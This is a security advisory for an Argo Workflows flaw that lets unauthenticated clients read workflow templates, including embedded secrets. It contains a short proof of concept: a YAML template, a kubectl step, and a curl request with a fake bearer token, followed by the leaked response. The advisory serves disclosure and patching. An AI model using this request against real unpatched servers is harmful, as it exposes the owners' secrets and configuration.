Skip to content

Unauthorized access to Argo Workflows Template

High
Joibel published GHSA-56px-hm34-xqj5 Mar 11, 2026

Package

gomod github.com/argoproj/argo-workflows (Go)

Affected versions

>= 3.7.0, <3.7.11
>=4.0.0, <4.0.2

Patched versions

3.7.11
4.0.2

Description

Summary

Workflow templates endpoints allow any client to retrieve WorkflowTemplates (and ClusterWorkflowTemplates). Any request with a Authorization: Bearer nothing token can leak sensitive template content, including embedded Secret manifests.

Details

func (wts *WorkflowTemplateServer) GetWorkflowTemplate(ctx context.Context, req *workflowtemplatepkg.WorkflowTemplateGetRequest) (*v1alpha1.WorkflowTemplate, error) {
wfTmpl, err := wts.getTemplateAndValidate(ctx, req.Namespace, req.Name)
if err != nil {
return nil, sutils.ToStatusError(err, codes.Internal)
}
return wfTmpl, nil
}
func (wts *WorkflowTemplateServer) getTemplateAndValidate(ctx context.Context, namespace string, name string) (*v1alpha1.WorkflowTemplate, error) {
wfTmpl, err := wts.wftmplStore.Getter(ctx, namespace).Get(ctx, name)
if err != nil {
return nil, sutils.ToStatusError(err, codes.Internal)
}
err = wts.instanceIDService.Validate(wfTmpl)
if err != nil {
return nil, sutils.ToStatusError(err, codes.InvalidArgument)
}
return wfTmpl, nil
}

func (cwts *ClusterWorkflowTemplateServer) GetClusterWorkflowTemplate(ctx context.Context, req *clusterwftmplpkg.ClusterWorkflowTemplateGetRequest) (*v1alpha1.ClusterWorkflowTemplate, error) {
wfTmpl, err := cwts.getTemplateAndValidate(ctx, req.Name)
if err != nil {
return nil, serverutils.ToStatusError(err, codes.Internal)
}
return wfTmpl, nil
}
func (cwts *ClusterWorkflowTemplateServer) getTemplateAndValidate(ctx context.Context, name string) (*v1alpha1.ClusterWorkflowTemplate, error) {
wfTmpl, err := cwts.cwftmplStore.Getter(ctx).Get(ctx, name)
if err != nil {
return nil, serverutils.ToStatusError(err, codes.Internal)
}
err = cwts.instanceIDService.Validate(wfTmpl)
if err != nil {
return nil, serverutils.ToStatusError(err, codes.InvalidArgument)
}
return wfTmpl, nil
}

Informers use the server’s rest config, so they read using server SA privileges.

func NewInformer(restConfig *rest.Config, managedNamespace string) (*Informer, error) {
dynamicInterface, err := dynamic.NewForConfig(restConfig)
if err != nil {
return nil, err
}
informer := informer.NewTolerantWorkflowTemplateInformer(
dynamicInterface,
workflowTemplateResyncPeriod,
managedNamespace)
return &Informer{
informer: informer,
managedNamespace: managedNamespace,
}, nil
}

func NewInformer(restConfig *rest.Config) (*Informer, error) {
dynamicInterface, err := dynamic.NewForConfig(restConfig)
if err != nil {
return nil, err
}
informer := informer.NewTolerantClusterWorkflowTemplateInformer(
dynamicInterface,
workflowTemplateResyncPeriod,
)
return &Informer{
informer: informer,
}, nil
}

PoC

  1. Create template
apiVersion: argoproj.io/v1alpha1
kind: WorkflowTemplate
metadata:
  name: leak-workflow-template
  namespace: argo
spec:
  templates:
  - name: make-secret
    resource:
      action: create
      manifest: |
        apiVersion: v1
        kind: Secret
        metadata:
          name: leaked-secret
        type: Opaque
        data:
          password: c3VwZXJzZWNyZXQ=

Then apply that with kubectl apply -f poc.yml
2. Query Argo Server with a fake token

Result:

> kubectl apply -f poc.yml
workflowtemplate.argoproj.io/leak-workflow-template created
> curl -sk -H "Authorization: Bearer nothing" \
    "https://localhost:2746/api/v1/workflow-templates/argo/leak-workflow-template"
{"metadata":{"name":"leak-workflow-template","namespace":"argo","uid":"6f91481c-df9a-4aeb-9fe3-a3fb6b12e11c","resourceVersion":"867394","generation":1,"creationTimestamp":"REDACTED","annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"argoproj.io/v1alpha1\",\"kind\":\"WorkflowTemplate\",\"metadata\":{\"annotations\":{},\"name\":\"leak-workflow-template\",\"namespace\":\"argo\"},\"spec\":{\"templates\":[{\"name\":\"make-secret\",\"resource\":{\"action\":\"create\",\"manifest\":\"apiVersion: v1\\nkind: Secret\\nmetadata:\\n  name: leaked-secret\\ntype: Opaque\\ndata:\\n  password: c3VwZXJzZWNyZXQ=\\n\"}}]}}\n"},"managedFields":[{"manager":"kubectl-client-side-apply","operation":"Update","apiVersion":"argoproj.io/v1alpha1","time":"REDACTED","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{".":{},"f:kubectl.kubernetes.io/last-applied-configuration":{}}},"f:spec":{".":{},"f:templates":{}}}}]},"spec":{"templates":[{"name":"make-secret","inputs":{},"outputs":{},"metadata":{},"resource":{"action":"create","manifest":"apiVersion: v1\nkind: Secret\nmetadata:\n  name: leaked-secret\ntype: Opaque\ndata:\n  password: c3VwZXJzZWNyZXQ=\n"}}],"arguments":{}}}

Impact

Any client can leaks Workflow Template and Cluster Workflow Template data, including secrets, artifact locations, service account usage, env vars, and resource manifests.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVE ID

CVE-2026-28229

Weaknesses

No CWEs

Credits